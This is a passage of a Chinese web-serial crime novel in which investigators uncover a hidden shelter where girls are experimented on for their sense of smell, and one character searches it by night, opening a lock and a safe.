惠海铭知道女孩的身份不一般,但究竟如何特殊,她还想不明白。 她私下调查池家多年,从没见池家哪个产业是年轻女孩在打理。 但如果祝江也在其中,就一定是池家人所为…… 难道池明远私底下还在做更可怕的事情? 桑白玉问:“池明远的生意涉及长峡吗?” 女孩的活动范围明显在长峡市。 “大部分都在龙星岗,”惠海铭说,“宁蓝政府不管,我们也没办法,所以我原本已经打算和池明远同归于尽。何利遇害之前,他才开始尝试往长峡市运送违禁品。” 女孩可不在违禁品范围内。 坑里捞上来的三个女孩,只有一人存活。 医生检查过后,宣布女孩暂时脱离生命危险,但还需要长时间休养。 他低声对惠海铭说道:“孩子曾被毒打过,身体上伤痕累累。” 惠海铭心一沉,问:“家暴?” “不是长期的,”医生说,“是最近的伤,凶手毒打过她,将她‘杀害’后,丢进坑里,而且她身体虚弱还有其他原因,暂时没能查到。” 女孩精神尚可,可以进行正常交谈,仍然有自理能力。 她记忆力没有受损,知道自己叫夏夏,还记得她的住处。 惠海铭又问了几遍是谁伤她,夏夏都茫然地摇头。 惠海铭问:“伤害你的是女性吗?年纪不大的女 性?” 夏夏依旧茫然。 桑白玉换了一种问法,“和你亲近的人里,有年轻女人吗?” 夏夏露出笑容。 她脸上也有伤,眼角淤青,嘴角撕裂,缝了两针。一笑便牵动伤口,眼泪不受控住地流下来。 这个样子,谁见了都会心疼。 桑白玉替她擦干眼泪,温柔道:“如果不舒服就先休息,过两天再和我们谈。” 夏夏的声音很小,“你是说小茗姐姐吗?小茗姐姐和你一样好看,我们特别喜欢她。” 她抓住桑白玉的手,欢喜地看着她。 桑白玉更心疼了,“你说的‘我们’,指的是谁?” 夏夏说:“小春、秋秋、冬冬、露露、冰冰……” 桑白玉看向惠海铭。 这些名字取得都很随意。 桑白玉问:“你们是在哪里认识的?” 夏夏说:“在家里。” “家” “我们住在一个很大的家里,我们都住在一起,小茗姐姐经常来看我们。” 惠海铭迟疑片刻,问:“福利院?” 夏夏摇头,“我认得几个字,院门口的牌子上写的好像是……收容所。” 她不太能理解收容所的含义,只把这里当做家。 看来遇害的两人也都是收容所的孩子。 桑白玉不忍心让夏夏去认尸,她再次询问道:“你还记得回家的路吗?” 夏夏点点头,又摇头。 当年她在昏迷中被带到收容所,从此以后再也没有出去过。 桑白玉又问:“附近有什么特征吗?都是山” 夏夏再次摇头,“是房子。” “什么样的房子?” “普通人住的房子,矮矮的房子,看不清楚。” 方小满问:“有没有高一点的标志性建筑?” 夏夏困惑道:“有一个很尖的,很高的东西,像个铁架子。” 高的、尖的铁架子。 桑白玉道:“信号塔?” 惠海铭说:“我现在就去找信号塔附近的收容所。” 桑白玉问:“可以不惊动其他人吗?” “恐怕不行,”惠海铭无奈道,“救援难度比较大,救这三个孩子时,已经有大批警察赶到现场,救援持续六个小时,山脚下的村民都看到了。他们起码知道我们已经发现尸体。” 池昭已经知道此事,肯定是瞒不住的。 桑白玉笑道:“他们可以知道我们找到尸体,但是夏夏……” 惠海铭思索片刻,说:“从目前的行动来看,转移到医院一事,应该没人知道。” 桑白玉说:“那便当她已经死在坑中,我和你一起去。” “也行,小满留下来照顾夏夏,所有医生护士进来检查都要看着。” 方小满点头。 惠海铭原本以为,找一个收容所而已,应该很容易。 然而她找到所有信号塔,再去找信号塔周围的福利院、收容所,却没有任何一家缺了孩子。 惠海铭接了一个又一个电话,得到的回复都很一致,已经核对过福利院的名单,没有孩子失踪。 “真是怪了,”惠海铭道,“夏夏不会说谎,收容所在哪儿?” 有院子、有牌子,一定是收容所才对。 桑白玉迟疑片刻,问:“一定是政府开办的福利院吗?” 惠海铭一怔。 桑白玉说:“会不会有私人收容所啊?” 九十年代的福利院没那么正规。 有些人花钱找找关系也就办了。 惠海铭拿起车钥匙,“走,去信号塔附近看看。”—— 作者有话说:……写一半发现另一篇被红锁了[化了]写不下去了,先发了 一激动还更新错了…… ………… ……………… 啊啊啊啊!!我明天再把这章改掉,可恶的zjk,夫妻俩不能躺在一张行军床上!谁开车了啊!!! 第58章 长峡市有几个私人性质的收容所。 这些收容所一般只和附近的街道打交道,平时送点儿礼,街道睁一只眼闭一只眼,就随他们去了。 惠海铭也是第一次知道还有这种地方。 她和桑白玉一起开车去找信号塔,到了信号塔下就四处看,寻找夏夏口中的院子。 长峡市共有6个信号塔,查到第三个时,桑白玉刚下车便说道:“是这里。” 这里有夏夏生活过的痕迹。 她抬起头,天空湛蓝,淡淡的白云在随风移动,信号塔耸立在白云下。 周围都是平房,惠海铭向小巷走去。 桑白玉说:“大姐,在这边。” 惠海铭问:“闻到了?” 桑白玉点头。 惠海铭有些无奈地看着桑白玉。 带着桑白玉,就相当于带着导航仪,随时能修正错误的路线。 两人走了大约十分钟,桑白玉把惠海铭拉到树后。 惠海铭配合得没有多话。 她们偷偷向前方看去,看到收容所破旧的招牌,斜靠在树上。 古老的铁栅栏门已经生锈,年轻的女人正带着孩子们玩儿老鹰捉小鸡。 孩子中女孩居多。 桑白玉看了一会儿,拉着惠海铭撤退。 回到车里,惠海铭才问道:“看出什么了?” 在惠海铭眼中,那里只是个普通的收容所,甚至可以说,老师对孩子们还是很不错的。 桑白玉却严肃道:“这里就是他们的老巢,我闻到了小茗的味道,非常浓郁,她经常来这里。” 惠海铭问:“还有其他人吗?” “暂时无法确定,祝江似乎也来过,停留的时间应该很短。” 惠海铭低声道:“我们先走,晚上再来。” 桑白玉提醒道:“这样的收容所不知道有多少,最好能请人帮忙同时调查,以免其他人得到消息跑路。” 惠海铭揉了揉桑白玉的脸,“就你想得周到。” 桑白玉开车回医院。 夏夏情绪稳定,有方小满在,不用担心她的安全问题。 下午池昭给桑白玉打来电话。 “提拉德参与贩卖违禁药品,自身也已上瘾,他试图脱离掌控,擅自离开被灭口。” 桑白玉好心提醒道:“这我已经知道了。” “但他临走前,接触了一个小女孩,试图把她带走,所以被灭口。” 桑白玉脱口而出,“小茗?” 池昭沉默片刻,问:“你怎么知道?” 桑白玉含糊道:“我第六感准,猜的,你别说废话了,赶紧说说小茗。” 小茗,全名池茗,今年16岁。 提拉德与她接触时,她还是个小姑娘。 据说提拉的与她关系不错,想把她一起带走。 桑白玉疑惑道:“池茗?她是你妹妹?” “我在池家多年,从未听说过这号人,池家大大小小的生意我都打理过,我可以确认,池家的手下中绝对没有她。” 桑白玉坏笑起来,“看来你也不太被信任嘛。” 她原本只是打趣,池昭却沉默了。 桑白玉听到池昭沉重的呼吸声,心软了。 她忙说道:“我是开玩笑的。” 池昭说:“这一点你倒是没说错,池明远从未真正信任过我。” 池茗这些人,恐怕和池明远背地里做的生意有关。 只是什么生意会和孩子有关? 总不见得池明远是在拐卖孩子吧?这生意可没有他的其他生意有钱。 池昭沉默片刻,说:“该你了。” 桑白玉不再隐瞒,“事实上,我可能找到这个小茗了。” * 长峡市的夜晚格外安静。 信号塔附近较为荒凉,冷风袭来,更是如此。 惠海铭在收容所附近监视了小半天,一直没看到小茗露面。 他们对小茗的认知只存在于夏夏口中,夏夏说,小茗留着长发,喜欢扎马尾,嗓音较粗,说话时总喜欢挑着眉,其他几个哥哥姐姐都很听她的话。 她是这里的“头儿”。 惠海铭虽然不知道池茗的模样,但凭夏夏的描述,她大体 能想象出来。 一个人的气质很难改变,惠海铭确认,收容所绝对没有出现类似池茗的人物。 方小满和桑白玉换好衣服,再用面罩遮住脸,只露出眼睛,像是要去抢银行。 惠海铭有些担心,“你们两个没问题吗?真的可以?还是我去吧。” 方小满笑嘻嘻道:“大姐你年纪大了,动作没以前灵活,你去了,我们还得搭救你,算了。你还是适合做总指挥,我们的沟通工作就交给你了。” 方小满递给桑白玉一个对讲机。 惠海铭哭笑不得。 桑白玉和方小满走下车,向收容所靠近。 惠海铭看着她们的背影,轻轻叹气,小妹妹也长大了。 如果她们知道她当初收养这么多孩子的原因……大概会恨她吧? 惠海铭趴在方向盘上左右观察。 桑白玉二人前脚刚走,惠海铭便听到发动机的声音,惠海铭警惕地看向车灯亮起的方向,一男一女下了车,女孩扎着高马尾,五官幼态,但神色却是倨傲的。 男人有三十几岁,跟在女孩身后点头哈腰。 惠海铭立刻矮下身子,拿起对讲机说道:“池茗回来了!” 接到消息的二人立刻关闭对讲机。 她们已经走到收容所墙边,桑白玉带着方小满去被丢弃的废弃货架后躲好,果然看到一男一女走来。 池茗在收容所门口停下。 她神色凝重,四处看着,和男人说了几句话。 男人很快紧张起来,从口袋里拿出一把折叠刀,举着刀四处查看。 方小满奇怪道:“他们在找什么?” 桑白玉:“……可能是在找我们。” “开什么玩笑,我们藏得这么好,什么痕迹都没留下,他们怎么可能知道?” 这可是她们的专职工作,她们为此学了很多年,人丢了,手艺都不会丢。 桑白玉却能清楚地看到,池茗二人表情愈发严肃,男人甚至还拿出小灵通,“喂,今天家里来人了吗?没有?一个都没有?” 桑白玉可以肯定,他们的确在找人,而且找的就是她们。 桑白玉迅速复盘她和方小满的行动过程,确认没留下任何痕迹。 没有痕迹,他们是如何知道的? 而且分明是池茗走到门口后,才察觉到有人。 桑白玉用手势示意方小满撤退。 她边撤退边观察池茗二人的反应。 在他们离开的瞬间,池茗似乎有所警觉,竟朝她们的方向走来。 桑白玉大惊,她突然想到惠海铭曾说过的一句话,立刻示意方小满以最快的速度离开。 黑暗中,车灯亮起,几人撤退。 远离收容所后,方小满才心有余悸道:“这是什么情况?她怎么会知道我们在。” 惠海铭若有所思道:“难道池明远真的……” 桑白玉问:“大姐,我记得你以前和我说过,还有和我一样的人。” 惠海铭慢慢点头,“我没见过,只是听说。” 桑白玉道:“还有人在监视他们吗?如果有,让他们撤远,会被发现。” “你认为池茗……” 桑白玉果断道:“我不是认为,我可以肯定,她寻找我的样子,我太熟悉了,就是依靠气味分辨的。” “等等,”方小满道,“我怎么越听越糊涂?你们是说,池茗是闻出来的?她和小玉有一样的本事?!” 惠海铭迅速停下车,先用小灵通打了通电话,接着下车走近商店里打公话。 方小满摇着桑白玉的手臂,“你快告诉我啊,她是不是和你一样?” 桑白玉轻轻点头,“我想是这样的。” “这太让人悲伤了,”方小满比桑白玉还崩溃,“我还以为可以靠我姐妹过上幸福快乐的日子,没想到像你这种奇怪的人居然不止一个?!” 桑白玉:“……” 方小满生无可恋。 为什么就她天生普通!! 哀号过后还得解决实际问题,她们必须尽快去一趟收容所。 但池茗在,她们恐怕进不去。 有任何风吹草动,池茗都能察觉到。 时间拖得久了,万一刚才的行动已经让他们警觉,他们连夜跑路,可能就找不到证据了。 没一会儿,惠海铭回到车上,“华国这边对此事不知情,监视他们的人距离本就很远,池茗应该闻不到,现在收容所还没动静。” 桑白玉放下心来,“我还得再去一趟。” “不行,”惠海铭断然拒绝,“绝对不行,你不知道池明远的手有多长,这件事已经惊动他,不能再冒险。” 桑白玉好奇道:“惊动?” 惠海铭沉默片刻,想到继续隐瞒可能会让她们放松警惕,便说:“夏夏被救起来后,有几个人一直在龙星岗那边的店附近转悠,我抓了其中一个,他是曼德的手下。” 桑白玉和方小满一脸懵,“曼德是谁?” “宁蓝国军方的,和池明远来往密切,两人可以说是狼狈为奸。曼德靠池明远的钱,池明远靠他的势力。” 桑白玉她们这边刚把夏夏几人救起来,龙星岗那边就有所动作,看来此事对池家十分重要。 “蓝移紧急转走了一批证据,龙星岗那边暂时不要回去。” 桑白玉想了想,说:“这些证据都和池明远有关?” 惠海铭冷着脸点头,“全都和他的生意有关,他手里沾了不少人命,贩卖违禁品时,对方不听话便毒打,极有可能致死。” 惠海铭至今还未把证据公之于众,想来这些都是发生在宁蓝国境内的案子。 宁蓝国的警署…… 也就吴元青在认真干活。 桑白玉问:“现在情况不一样了,夏夏是在长峡出事的,那三个孩子也都死在长峡,就和咱们国家有关了。” 惠海铭无奈道:“就算有关,就算有证据,也要池明远到长峡来才能抓他。” 桑白玉说:“我可能有一个池明远的私人号码。” * 池希赖在池昭的房间已有十几分钟。 这是池昭在龙星岗的家,一栋装修颇有欧美风的别墅,池希曾跟随池明远去过欧洲,那边的建筑都这样。 与金碧辉煌的客厅相比,池昭的房间很简陋。 除了两件挂起来的西装外套,一点儿都看不出有人住的痕迹。 池希看着冷冷清清的房间,不敢乱说话,坐得比小学上课时都板正。 其实曾经池明远也努力培养过他,但池希不喜欢做生意,他更喜欢直接找家人要钱花。 不用操心,一心花钱,多爽。 而且池明远的生意里,池希偶然看到过地下赌坊,池希不敢多想,下意识回避这些。 他还有哥哥,池昭能力出众,有他就够了。 可惜池昭与他并不亲近。 池希等了一会儿,池昭才走进来,他刚洗过脸,没戴墨镜。 池希很少看到他没戴墨镜的样子,他们兄弟俩只有两分相似,尤其是眼睛,差别很大。 不怪桑白玉刚看到池昭时都多看了几眼,换作池希,也忍不住多瞄几眼。 池希哀求道:“哥,你就放我走吧,我得去长峡。” 池昭穿上外套,重新戴好墨镜,“去找她?” 池希点头,“我都好几天没去了,姐姐们肯定会担心我。” 池昭道:“你就不怕你爸担心你?” “……那不也是你爸么,”池希嘀咕道,“你干嘛总和他过不去?其实爸很惦记你的,你过生日,他还想着送你生日礼物,他只不过……” 池昭似笑非笑道:“只不过是不敢出门?不知做了多少亏心事,每天都要龟缩在家里,要躲在硬壳里,阳光都见不得?” 池希:“……” 池昭走到池希面前,俯身拿起他的小灵通,“和你联系,还要用单独的号码?” 池希怔住,“你都知道了?哥,爸不是不想把这个号码给你,他说你们有其他联系方式,没必要, 他其实没偏心我,我……” “他是否偏心,和我无关,我不在乎,”池昭轻蔑地笑了一下,把小灵通丢给他,“收拾好东西,跟我走。” “去哪?” 池昭道:“长峡。” 池希跳起来欢呼。 池昭微笑道:“她不喜欢你。” 池希愣住:“啊?” 池昭指向家里的电话,“看,她找你有事,但联系的是我。” 池希:“……,哥!!” * 凌晨三点钟,低调的黑车停在路边。 今夜风很大,乌云聚集,有要下雨的征兆。 桑白玉和方小满拉开车门上车。 池希坐在副驾驶,热情地和桑白玉打招呼,桑白玉点了下头,接着看向池昭。 她伸手取下池昭的墨镜。 池希倒吸一口冷气,她居然敢碰他哥的墨镜?他哥会杀人的,真的会的! 然而池昭只是平静地看向桑白玉。 桑白玉盯着池昭的眼睛看了几秒。 池希低声对方小满道:“快提醒小玉,别招惹我哥,他不喜欢别人动他的墨镜。” 方小满严肃道:“你不懂,这是博弈。” 池希:“?” 方小满振振有词,“你看,他们二人看似是在注视彼此,其实这不是普通的注视,这是一场厮杀,这……” 桑白玉惊讶道:“以前没仔细看过,其实你的眼睛最好看哦。” 方小满:“……是厮杀。” 池希:“是这样厮的?” 方小满:“……” “长话短说,”桑白玉把墨镜丢给池昭,问,“你今天的视力如何?” 池昭说:“正常。” “那太好了,收容所你去吧,池希是人质,你不交换信息我们就撕票。” 池希:“……” 池昭看向他,“你确定?” 桑白玉:“好吧,也不是那么确定,要不人质换成边斌?” 负责开车的边斌:“??” 池昭一口答应,“可以。” 池希:“……哥!!我是不是你亲弟弟?!” 方小满都有些怜爱他了。 池昭道:“我早就和你说过,离龙星岗远一些,离长峡远一些,去找你妈,你不愿意,我也没办法。” 池希委屈道:“可我,我怎么也比边斌强啊!” 池昭面不改色,“我们从小一起长大。” 池希:“……” 桑白玉不太理解这哥俩的关系,她催着池昭下车,“小心池茗,我们不能靠近,她会闻到我们的气味。” 池昭迟疑片刻,弯唇,“所以你找我?” 桑白玉正要说什么,忽然反应过来,“你知道?!” 她是闻不到池昭的味道的。 池昭都知道?? 他果然不是诚心做生意的! 边斌强烈反对,“不行!不能让他单独行动!” 桑白玉问:“为什么?” 边斌脱口而出,“他比我还弱!” 话音落下,车内鸦雀无声。 边斌:“……” 说老板弱,还有活路吗? 池希道:“怎么可能,我哥特别强。” 边斌心一横,直说道:“你哥只是脑子比较强,手底下还有人,打架方面弱爆了,在这个车里,也就比你强点儿。” 边斌说完,心里十分畅快。 一下子得罪两位老板,人生真是美妙啊! 桑白玉看向池昭,拍拍他的肩膀,“没事,我保护你。” 第59章 池昭一般只负责出脑子,不参与行动。 不过他生存的环境毕竟险恶,这些年也曾试图练一练,只可惜眼睛时不时会犯病,没办法长时间训练。 虽然与桑白玉这些训练多年的人没法比,但还是比普通人强一些。 池昭独自一人向收容所走去。 桑白玉的叮嘱和他眼前的场景重合。 他走的每一步,每一个方向,具体到多少角度、多少米,桑白玉都有告诉他。 在没有变数的情况下,他走这条路,可以不惊扰任何人。 池昭戴着的耳机是方小满交给他的,可以单方面听到她们的声音。 车内有热成像仪,是用来观察收容所内部动向的。 这些装备池昭都没有。 池昭想,如果他选择成为她们的敌人,应该会死得很惨。 在桑白玉的指示下,池昭成功潜入收容所。 桑白玉说:“他们没有发现你,不必担心,池茗的情况和我一样,嗅觉好,听力、视觉就会稍微差一些,她不会听到耳机里的声音。” “现在,继续往前走,左手边的八个房间是宿舍,所有孩子们都在里面,已经睡了。右手边的八个房间,前三个房间有人,第一个房间里是池茗,第二个房间是男人,第三个房间是不认识的女人,这应该是大人的宿舍,池茗还没睡,后两个人已经睡了。” 池昭还听到方小满的声音,“这也能判断出来?!” 桑白玉:“池茗的高马尾还没散开。” 方小满:“……” 在外面做事,还是不能太爱美。 池昭从孩子们的宿舍后方往前绕。 桑白玉说:“正对着你的一排房子应该是教室,你找一找他们的办公室,看看有没有线索。” 池昭停下来,看向右侧。 方才说的八个房间,前三个房间是池茗三人睡觉的地方,后五个呢? 桑白玉像是知道他要说什么,惋惜道:“热成像仪不能看穿墙体,我是坐在车上往高处开,透过玻璃窗户观察的,那几个房间,我也不知是做什么的。你最好不要过去,池茗现在就站在窗户边上,她显然还不想睡觉。” 池昭却没有犹豫,转身向那五个房间走去。 方小满惊呼道:“你疯了?” 桑白玉则沉默片刻,说:“我们这种人,对自己的嗅觉绝对自信,如果闻不到气息,的确会放松警惕。” 池昭露出微笑。 他尽量不发出任何声音。 脚步声虽然做不到桑白玉、方小满那般,但若不仔细听,其他人也不会注意到。 池昭靠近距离池茗最远的办公室。 办公室门上挂着锁,门旁边就是窗户,窗帘不是简单地挂着的,而是被钉死的,而且窗帘本身十分厚重,根本看不到屋内的情况。 越怕被看,越可疑。 池昭简单看了眼锁,拿出万能工具铁丝。 他的身体不允许他像桑白玉一样持续练习,但开个锁还是可以的,他小时候,家里的生意做得没这么大,池明远在外面像孙子,他就更是孙子里的孙子,谁都能来欺负他。 等池希出生,家里的情况才慢慢好起来,情况大不相同了。 池明远很喜欢池希,认为他是给池家带来财运的福星。 至于池昭,池明远面对池昭,更像是一位领导,而不是父亲。 池昭开了锁,控制着不发出声音,把锁放进口袋,然后推门走进去。 热成像仪只能透过玻璃窗观察,无法透过墙壁,所以房间里不一定是没人的。 不过池昭的运气还不错。 他进门后,看到房间中间摆着一张大长桌,靠墙的四周也都是桌子,有各种各样的瓶瓶罐罐。 这几个房间居然是通的,墙体被打穿,可以通过一个成年人。 池昭沉默片刻,观察房屋结构。 看起来还真不会倒。 池昭沿着墙壁往前走,先确认左手边其他几个房间是否有人。 好在池茗他们也没那么变态,只有几个没人住的房间是通的。 左手边的房间情况不太对劲,里面摆放着各种各样的仪器。 池昭不知道这些仪器是用来做什么的,但看着很像是医院使用的仪器。 池昭的预感愈发不妙。 他一路往前走,最末间,也就是靠近有人睡觉的房间,这里像是办公室。 有会客用的沙发,还有办公桌。 隔壁房间就有人,池昭直奔办公桌。 办公桌下有保险柜,保险柜的锁比较 难开。 池昭一时没了动静。 桑白玉问:“遇到困难的话可以敲耳机。” 池昭依然没声音。 桑白玉说:“我问,你回答,是敲一下,不是敲两下。遇到人了?” 桑白玉听到两声回应。 “一切顺利?” 一声。 “找到线索了?” 迟疑后的一声。 桑白玉想,既然有迟疑,那就可能是线索,但还没看到。 “取不出来?” 一声。 桑白玉问:“被锁住了?” 一声。 普通的锁难不住池昭。 桑白玉:“保险柜?” 一声。 边斌的眼睛都快瞪了出来。 桑白玉的脑子转得也太快了吧?? 他根本就想不到这么多。 开保险柜需要工具,比如听诊器。 桑白玉有些后悔没给池昭带更多的工具。 保险柜本身又有一定重量,让池昭带走也不现实。 桑白玉正发愁,忽然听到机械齿轮转动的声音。 桑白玉愣住:“你在开锁?” 一声。 方小满蹙起眉,“太张扬了吧,池茗还没睡,把她吵醒就糟了,池昭看起来弱不禁风的,恐怕要挨揍。” 边斌急道:“咱们现在去救他吧!” 只有池希茫然地看着他们。 每个人都很厉害,每个人都有任务,只有他。 池希闷闷不乐道:“你们……” 方小满说:“你现在是人质,不能随便开口。” 桑白玉道:“在池明远来长峡之前,得委屈你了。” 池希:“……” 他委屈道:“你们需要我帮忙,我是心甘情愿帮你们的,为什么要这样说?” 桑白玉微怔,她解释道:“我不是不相信你,我只是更相信父子之间的感情,而且……” 方小满说:“我们担心以你的智商会被套话。” 边斌心惊胆战地看着二人。 她们居然敢这样和他的小老板说话?? 小老板不得被气疯了! 池希开心道:“我就知道你们拿我当朋友!” 边斌:“……” 他们池家都是些什么人哦! 边斌问桑白玉,“真不用去帮忙?保险柜的锁怎么开?” 如果连保险柜的锁都能被打开,他还能相信什么! 方小满感慨道:“你还真是四肢没那么发达,头脑也简单。” 边斌:“……你知道!!” 方小满“嘁”了一声,“老式机械转盘密码锁需要听诊器,转盘内部有制动片,转到特定数字时,制动片落下对准,会发出‘咔哒’声,这个声音很小,必须要用听诊器,找到密码数字,就可以打开保险柜了。” 边斌听后沉默了。 他觉得…… 方小满和桑白玉好像比他更坏啊?? 桑白玉道:“可就算找到密码数字,也没有钥匙。” “还需要钥匙?!” 桑白玉说:“绝大部分保险柜都需要,密码数字只是扫清障碍,转动到正确的数字,才能用钥匙打开。” 话音刚落,桑白玉便听到稍微清脆的一声响。 她挑眉道:“看来他找到钥匙了。” * 男人这一夜睡得都不安稳。 夏夏几人的惨状历历在目,又听说有警察找到他们抛尸的地方挖出尸体,还说尸体被人带走了,是神秘的大人物,他们恐怕已经被华国盯上…… 又被噩梦惊醒,男人坐起来,隐约听到声响。 他站起身,披上外衣,犹豫过后走向池茗的房间。 池茗果然还没睡,她一直是夜猫子。 听到男人的来意,池茗嗤笑道:“你是不是太小心了?” 男人道:“可我真的听到动静。” 池茗指着自己的鼻子说:“我跟你保证,这里只有我们三个人,没有第四个人。” 池茗的本事,男人是知道的,她说不是,男人也只能相信。 他叹气道:“我担心警方迟早会找到我们。” “找到又如何?我们早就跑了,离开的路线早就定好,我们只需要带两个孩子走,剩下的扔下就好。” 男人从口袋里摸出烟来,抱怨道:“真不知道他是怎么想的,非让我们留在长峡,回龙星岗多好,在那边,谁敢管我们?长峡规矩太多。” 池茗白了他一眼,“我们才是正经国家,你们已经被腐蚀了。人家不是说了,华国有收容所没那么奇怪,而且这些孩子都是华国的,你在宁蓝国开一家专收华国孩子的收容所,这不是告诉全世界你别有所图吗?” “这倒是。” 烟味飘到池茗的方向,池茗嫌弃道:“别抽了,臭死了。” 男人打不过池茗,只好把烟掐灭,“我好像真的听到声音了。” 两人安静下来,长峡市的夜静悄悄的,远处是高山的轮廓,被银色月光笼罩。 池茗冷笑道:“我的鼻子,绝对不会出错,我再说一遍,没有人。” * 池昭带回一些资料,都是存放在保险柜里的。 他一上车,边斌就玩命似的把车开走,车速提得极快。 池昭去完成任务,比他自己做任务都紧张。 方小满打开手电,给桑白玉照明。 桑白玉和池昭坐在后排看文件。 池昭瞥了眼池希,“是不是先把他解决掉?” 池希:“……” 亲哥总是不把他当人。 桑白玉道:“他现在不能离开我们了,他知道的事太多,而且我还得靠他办事。” 池昭挑眉,“办事?” 桑白玉也不瞒着,“总得把人叫到长峡。” 池昭问:“你们想对付他?” 桑白玉没有回答,她翻开资料,里面都是体检信息,最详细的是池茗和一个女人的。 体检信息的重点是…… 嗅觉。 桑白玉喃喃道:“难道他们找的孩子,都是嗅觉异常好的?” 像她一样? 池昭没有回答,他脑中浮现方才看到的瓶瓶罐罐,都是做实验的。 不知道他们是如何做的实验…… 池茗的资料是从七岁开始的,她七岁起就跟着他们。 另一个女人的资料不太全,所有内容皆为手写,年代久远,而且没有姓名,只有身高、体重、年龄等等,重点研究的也是嗅觉。 不过部分研究项目有些可怕,比如大脑。 什么情况下能研究一个人的大脑? 两份资料都没有照片。 池昭一直没有看这份资料,他看起来心不在焉的。 桑白玉把资料收好,质问池昭,“你是不是还找到其他线索了?” 池昭:“嗯?” “我们现在可是合作关系,你不能有所隐瞒。” 池昭笑道:“你们救上来的女孩在哪,活的死的,你不也隐瞒了吗?” 桑白玉脱口而出,“我是没告诉你,可你明明知道。等等,你为什么会知道?” 池昭怔住。 他不动声色地移开视线,避免与桑白玉的接触。 桑白玉的目光愈发微妙,“原来你……” 池昭轻咳一声,说:“坦白说,这份资料应该是我母亲的。” 身高、体重、年龄,都对得上。 池希震惊地看过去,“她不是……病故了吗?” 他知道他的母亲不是池明远的原配,也知道他和池昭同父异母。 他还知道池昭的母亲是病故的,大家都是这样说的。 池希对她了解不多,就连孟简都不了解。 池昭说:“她是失踪,不是病故。现在看来,她可能就是在这里失踪的。” 桑白玉迟疑道:“她的嗅觉很不一般,所以……池明远把她带到这里做研究?她已经……遇害了?” 池希靠向车门,呼吸愈发沉重。 周围的一切都让他陌生,人也是。 他好像听不懂他们在说什么,又很懂。 池希很难受,生理上的难受,他喘不过气来。 池昭轻描淡写 ,“应该是这样,看来我的目标要从找人改成找遗骨了。” 车内一时安静。 桑白玉记得,他说过他一直在找母亲。 难怪他回来后心情不好,原来是找到了。 只是这份对大脑的研究,已经给姜玉玲判了死刑。 桑白玉继续往后看。 资料里也包括夏夏的,结论是失败。 还有两个女孩也盖了失败的红章。 看来她们是失败品,在实验过程中死亡,所以被抛尸。 池昭沉默良久才提醒道:“让他们给孩子做详细检查,包括体内是否有毒物。” 方小满问:“什么毒物?” “我在收容所里看到很多化学器材,还有很多药物,他们恐怕是找到有天赋的女孩,试图把她们培养成和桑白玉一样的人,但是目前为止,应该只有池茗一个成功案例。” 夏夏在收容所里,还不知道吃了多少苦头。 更可悲的是,她对收容所的印象很好,很喜欢哥哥姐姐,她根本不知道,害了她的人就是这些哥哥姐姐。 桑白玉疑惑道:“她身上的伤是哪儿来的?” 方小满道:“只能等她好转,再去问问,不过要提防这些人使坏。” 她故意看向池昭。 边斌嘀咕道:“明明是你们更像坏人……” 哪里都敢闯,什么装备都有,还非要以好人自居。 他们坏人有什么?只有一辆车和两条腿! 池昭没再说什么,阖眼休息。 桑白玉若有所思。 池希偷偷看向池昭。 他一直很喜欢哥哥,他的同学都有兄弟姐妹,但谁都没有池昭厉害。 他头脑聪明,办任何事都能办得完美,就算池明远与他没那么亲近,也会一遍又一遍地表扬他。 宁蓝的同学们都很羡慕他。 可惜池昭一直与池希保持距离。 池希原本不理解,就算同父异母,也不至于如此吧?孟简几乎不管池昭,他们相处得挺融洽的。 现在才知道,原来池昭的母亲姜玉玲当年不是病故。 她是失踪了,被绑架了,还被抓过来做研究。 害了池昭母亲的人还很有可能就是…… 池希不懂。 池明远和姜玉玲是夫妻啊,为什么对妻子下毒手? 当年究竟发生了什么? 池希感觉自己的脑子就是一团糨糊。 他低声问道:“哥,你早就知道阿姨是被抓起来了吗?” 池昭沉默良久,才闭着眼睛“嗯”了一声。 “你知道是爸做的?” 池昭没有否认。 池希的心越来越冷,“所以你……一直恨爸吗?” 在他们一家三口团聚的时刻,池昭都在找母亲吗? 看到他们三人开开心心地聚在一起,池昭会连他也恨吧? 方小满回头看向桑白玉。 桑白玉没说话,方小满便也保持安静。 池昭睁眼看向车窗外。 边斌的油门踩得狠,窗外高树迅速后退。 池昭的视线逐渐模糊。 从收容所出来时,他的眼睛就不太好用了,只能靠记忆走。 忽然有人抓住他的手腕。 池昭一惊,看向身旁模糊的轮廓。 桑白玉道:“你受伤了?流血了?在收容所?” 池昭说:“我清理过,不会留下痕迹。” “留下也找不到人,不用担心,”桑白玉找到医药箱,给池昭处理伤口,她拧眉道,“你知道受伤了还不尽快处理?年纪一大把,一点儿都不靠谱。” 池昭:“……” 年纪一大把…… 池希无声地看着二人。 池昭坐直,想了想,有些话还是该对池希说。 “池希,你不用想太多,你只需要照顾好孟姨,池明远对她已经失去耐心,几年前就曾让我看管她,不要相信池明远的话。” 池希愣愣地看着池昭。 他只知道几年前父母吵了架。 后来孟简对他说,她是吵架生气,自己跑了。 原来有这么多他不知道的事。 池希落寞地垂着头。 他想不明白,他的家到底有什么不同,为什么一家人还要钩心斗角。 池昭又对桑白玉说:“还记得何利吗?” 桑白玉点头。 “何利遇害前运送违禁武器的车,是我处理的,池明远打算卖到长峡。” 桑白玉认真听着。 池昭说:“池希不能放走,池明远早晚会知道你们的存在,他会被套话。池明远不会放弃贩卖违禁武器,他在宁蓝的生意已经到顶,迟早要向长峡发展,他是个有野心的人。” 桑白玉若有所思,“你的意思是,只有做生意才能引他过来,池希不行?” “不,”池昭说,“我的意思是,这两件事必须同时发生,他才会过来。” 边斌听得一头雾水。 他悄悄问方小满,“他们要做什么?” 方小满跷着二郎腿,嫌弃道:“你可真是笨蛋。” 鉴于自己打不过方小满,边斌讨好道:“你就告诉我吧,他们在说什么?” 方小满:“我管他们说什么,我只要按照小玉说的话去做就好了。” 边斌:“……” 合着她也不知道。 她也是笨蛋! 第60章 宁蓝国首都,豪华庄园内有保镖有喷泉,还有仿欧洲风格的建筑。 宁蓝国虽穷,但庄园的主人可不穷,国家大部分财富都集中在他们手中。 轿车在大门口经过保镖检查,缓缓驶入,停在停车场。 身形高大的男人匆匆下车,向里走去。 书房同样豪华。 地毯是欧洲进口的,书架从底通到天花板,皆是欧洲复古风。 宽绰的实木桌后,男人漫不经心地翻看最近两个月的账本。 他有一个能为他赚钱的好儿子。 池明远这辈子过得是顺风顺水。 当年拿着投名状来宁蓝国发展,先是拿了一笔钱,又靠这笔钱做生意起家,生意越做越大,直到今天,池家在宁蓝国赫赫有名。 